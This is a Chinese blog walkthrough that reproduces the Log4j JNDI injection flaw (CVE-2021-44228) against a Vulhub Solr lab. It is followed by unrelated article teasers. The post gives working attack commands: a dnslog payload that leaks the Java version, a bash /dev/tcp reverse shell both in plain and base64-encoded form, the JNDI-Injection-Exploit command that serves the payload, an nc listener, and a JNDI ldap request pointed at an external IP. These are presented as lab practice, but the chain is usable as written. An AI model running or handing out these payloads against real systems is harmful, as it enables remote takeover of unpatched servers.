Apache Log4j漏洞复现

所用环境

宝塔云服务器

log4j2 是Apache的⼀个java日志框架,我们借助它进行日志相关操作管理,然而在2021年末log4j2爆出了远程代码执行漏洞,属于严重等级的漏洞。

apache log4j通过定义每⼀条日志信息的级别能够更加细致地控制日志⽣成地过程,受影响地版本中纯在JNDI注入漏洞,导致日志在记录用户输入地数据时,触发了注入漏洞,该漏洞可导致远程代码执行,且利用条件低,影响范围广,小到网站,大到可联网的车都受影响,建议使用了相关版本的应用或者插件,尽快升级修补,做好相关方措施,避免造成不必要的损失。

一、启动靶场容器并在浏览器中进行访问

#启动命令
cd vulhub/log4j/CVE-2021-44228
docker-compose up -d
docker ps

这里看到我们的容器端口为8983,在浏览器中访问该地址

这里我们访问成功

二、用dnslog测试注入效果

访问dnslog.cn获取一个新的链接

可以发现 /solr/admin/cores?action= 这里有个参数可以传,可以按照上面的原理 先构造⼀个请求传过去存在JNDI注入那么ldap服务端会执行我们传上去的payload然后在DNSLOG 平台上那里留下记录,我们可以看到留下了访问记录并且前面的参数被执行后给我们回显了java的版本号!

/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.0ww7ad.dnslog.cn}

刷新一下便看到了java的版本号

三、开始反弹Shell

# JDNI项⽬地址
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0# 反弹shell
bash -i >& /dev/tcp/172.16.1.159/6666 0>&1# 反弹Shell-base64加密
YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMS4xNTkvNjY2NiAwPiYx# 命令模板
java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c{echo,[经过base64编码后的命令]}|{base64,-d}|bash" -A [你的vpsip]# 最终Payload
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMS4xODYvNjk2OSAwPiYx}|{base64,-d}|{bash,-i}" -A "172.16.1.186"# 备注
-C后⾯的参数是要执⾏的命令以及编码⽅式,-A后⾯就是对应ip地址。

这里已经生成了我们的恶意代码类

我们再打开一个终端来监听我们的6666端口

nc -lvvp 6666

拿取JDK1.8并构造Payload且直接访问..可以看到网页被重定向到了我们的恶意类网址...

/solr/admin/cores?action=${jndi:ldap://101.42.118.221:1389/jyvecl}

此时我们就获取了该网站的shell,我们输入ls来看看命令是否被执行

拿下!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/890546.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

自动驾驶控制算法-横向误差微分方程LQR前馈控制

本文是学习自动驾驶控制算法第六讲 前馈控制与航向误差以及前两节的学习笔记。 1 横向误差微分方程 以规划的轨迹作为自然坐标系,计算自车在轨迹上的投影点,进而计算误差: 如图所示,横向误差为 d d d,航向误差为 θ…

Apache RocketMQ 5.1.3安装部署文档

官方文档不好使,可以说是一坨… 关键词:Apache RocketMQ 5.0 JDK 17 废话少说,开整。 1.版本 官网地址,版本如下。 https://rocketmq.apache.org/download2.配置文件 2.1namesrv端口 在ROCKETMQ_HOME/conf下 新增namesrv.pro…

Google Cloud Kubernetes Anthos是什么,和Istio有什么关联

Google Cloud Platform (GCP) Kubernetes Anthos 是 Google 推出的一种多云管理平台,基于 Kubernetes,旨在帮助企业在多个云环境中管理和运行容器化应用程序。 https://cloud.google.com/blog/topics/hybrid-cloud/5-frequently-asked-questions-about-…

多摩川编码器协议

多摩川编码器是一种常用的绝对值编码器,其协议基于485硬件接口的标准NRZ协议,通讯波特率为固定的2.5Mbps。以下是多摩川编码器协议的详细说明: 硬件接口 多摩川编码器使用RS485接口进行通信,接口定义如下: 5V供电&…

AI新书推荐:深度学习和大模型原理与实践(清华社)

本书简介 在这个信息爆炸、技术革新日新月异的时代,深度学习作为人工智能领域的重要分支,正引领着新一轮的技术革命。《深度学习和大模型原理与实践》一书,旨在为读者提供深度学习及其大模型技术的全面知识和实践应用的指南。 本书特色在于…

webrtc音频模块(三) windows Core Audio API及声音的播放

在前面介绍了ADM(Audio Device Module),它用于抽象音频设备管理和音频数据采集/播放接口。windows的实现是AudioDeviceWinowCode,它封装了Core Audio APIs实现了对音频设备的操作。 Core Audio APIs windows提供了多种音频操作API,比如最常…

cursor保存更改操作技巧

1. 当我们在agent模式时,要求cursor更改代码时,cursor回答后,就已经更改了代码了,这时候就可以对程序进行编译和测试, 不一定先要点” accept“, 先测试如果没有问题再点“accept”,这样composer就会多一条…

运维工程师面试系统监控与优化自动化与脚本云计算的理解虚拟化技术的优点和缺点

前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默, 忍不住分享一下给大家。点击跳转到网站 学习总结 1、掌握 JAVA入门到进阶知识(持续写作中……) 2、学会Oracle数据库入门到入土用法(创作中……) 3、手把…

2.在 Vue 3 中使用 ECharts 实现动态时间轴效果

在前端开发中,时间轴(Timeline)是一种常见且有效的方式来展示时间相关的数据。在本篇文章中,我们将展示如何在 Vue 3 项目中使用 ECharts 创建一个具有动态时间范围的时间轴,并添加了今日时间的标记以及通过按钮来前进…

Android修行手册 - 移动端几种常用动画方案对比

Unity3D特效百例案例项目实战源码Android-Unity实战问题汇总游戏脚本-辅助自动化Android控件全解手册再战Android系列Scratch编程案例软考全系列Unity3D学习专栏蓝桥系列ChatGPT和AIGC 👉关于作者 专注于Android/Unity和各种游戏开发技巧,以及各种资源分…

Java日志框架:log4j、log4j2、logback

文章目录 配置文件相关1. properties测试 2. XMl使用Dom4j解析XML Log4j与Log4j2日志门面 一、Log4j1.1 Logges1.2 Appenders1.3 Layouts1.4 使用1.5 配置文件详解1.5.1 配置根目录1.5.2 配置日志信息输出目的地Appender1.5.3 输出格式设置 二、Log4j22.1 XML配置文件解析2.2 使…

《信管通低代码信息管理系统开发平台》Linux环境安装说明

1 简介 信管通低代码信息管理系统应用平台提供多环境软件产品开发服务,包括单机、局域网和互联网。我们专注于适用国产硬件和操作系统应用软件开发应用。为事业单位和企业提供行业软件定制开发,满足其独特需求。无论是简单的应用还是复杂的系统&#xff…

HTTPS协议原理与CA认证

目录 引言 HTTPS 是什么 1.什么是"加密" 2. 为什么要加密 3. 常⻅的加密⽅式 对称加密 ⾮对称加密 4.数据摘要 && 数据指纹 5. 数字签名 HTTPS 的⼯作过程探究 ⽅案 1 - 只使⽤对称加密 ⽅案 2 - 只使⽤⾮对称加密 ⽅案 3 - 双⽅都使⽤⾮对称加密…

vulnhub靶场——Log4j2

第一步:搭建靶场环境 #开启环境 cd vulhub/log4j/CVE-2021-44228 docker-compose up -d 来到网站首页 第二步:搭建一个dnslog平台上获取我们注入的效果 第三步:发现 /solr/admin/cores?action 这里有个参数可以传 我们可以看到留下了访问记录并且前面的参数被执行后给我们回…

使用idea创建JDK8的SpringBoot项目

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 使用idea创建JDK8的SpringBoot项目 前言我们经常在创建新的springboot项目,默认使用的是spring.io进行创建,但是它总是只会提供高版本的创建方式&…

U9多组织销退业务流程的总结

多组织销退业务流程,它的运行模式也是奇葩,确实不好理解其中的道理。用户实践中更是障碍重重,束手无策。左也不是右也不是,无路可走。 不能理解透彻造成的吧,所以做一个总结。 既有退货,必有出货单。从出货…

cudnn版本gpu架构

nvcc --help 可以看 --gpu-architecture 写到的支持的架构 NVIDIA 的 GPU 架构是按代次发布的,以下是这些架构的对应说明: NVIDIA Hopper: 这是 NVIDIA 于 2022 年推出的架构之一,面向高性能计算(HPC)和人工智能&…

Prompt格式到底有多重要?它竟然这样影响LLM函数调用能力(附提示词模版)

函数调用能力的关键地位 在当前大语言模型(LLM)的应用生态中,函数调用能力(Function Calling)已经成为一项不可或缺的核心能力。它使LLM能够通过调用外部API获取实时信息、操作第三方服务,从而将模型的语言…

有了chatgpt4o,普通人还需要学代码吗?

或许AI到达“终极智能”时,普通人就不用学代码了。不过现阶段或很长的一段时间内这还是不可能的。目前AI编程还是以辅助编程为主,普通人可以借助AI实现一些简单的编程。 其实这个问题可以扩大到AI编程的出现对编程行业或程序员职业影响的问题。就这个问…

CE8.【C++ Cont】练习题组6

目录 1.矩阵转置 题目描述 输入格式 输出格式 输入输出样例 错误代码 提交结果 正确代码 提交结果 2.图像相似度 题目描述 输入格式 输出格式 输入输出样例 代码 提交结果 3. 计算矩阵边缘元素之和 题目描述 输入格式 输出格式 输入输出样例 说明/提示 …